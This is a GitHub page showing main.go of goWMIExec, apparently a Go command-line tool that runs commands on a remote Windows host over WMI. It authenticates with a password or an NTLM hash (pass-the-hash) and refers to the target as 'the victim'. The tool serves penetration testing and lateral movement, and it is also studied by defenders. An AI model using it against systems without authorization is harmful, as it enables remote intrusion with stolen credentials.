-
Notifications
You must be signed in to change notification settings - Fork 41
/
main.go
63 lines (53 loc) · 1.6 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package main
import (
"flag"
"log"
"os"
"strings"
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
)
func main() {
var command, target, username, password, hash, domain, clientHost, binding string
var resolveOnly bool
flag.StringVar(&target, "target", "", "Target")
flag.StringVar(&username, "username", "", "Username to auth as")
flag.StringVar(&password, "password", "", "password")
flag.StringVar(&hash, "hash", "", "hash")
flag.StringVar(&command, "command", "", "command")
flag.StringVar(&clientHost, "clientname", "", "Value to send the victim indicating client host")
flag.StringVar(&binding, "binding", "", "Value to use in network binding (see output of resolve mode for potential values)")
flag.BoolVar(&resolveOnly, "resolveonly", false, "Only resolve network bindings (does not require auth)")
flag.Parse()
if clientHost == "" {
var err error
clientHost, err = os.Hostname()
if err != nil {
panic(err)
}
}
if target == "" || (password == "" && hash == "" && !resolveOnly) {
flag.Usage()
os.Exit(1)
}
if !strings.Contains(target, ":") {
//fmt.Printf("Bad target specified, requires port (usually 135). expected: 127.0.0.1:135, got %s", target)
//os.Exit(1)
target = target + ":135"
}
//don't do auth, just get network adaptors
if resolveOnly {
values, err := wmiexec.GetNetworkBindings(target)
if err != nil {
panic(err)
}
log.Println("Resolved names:")
for _, name := range values {
log.Println("\t", name)
}
return
}
err := wmiexec.WMIExec(target, username, password, hash, domain, command, clientHost, binding, nil)
if err != nil {
panic(err)
}
}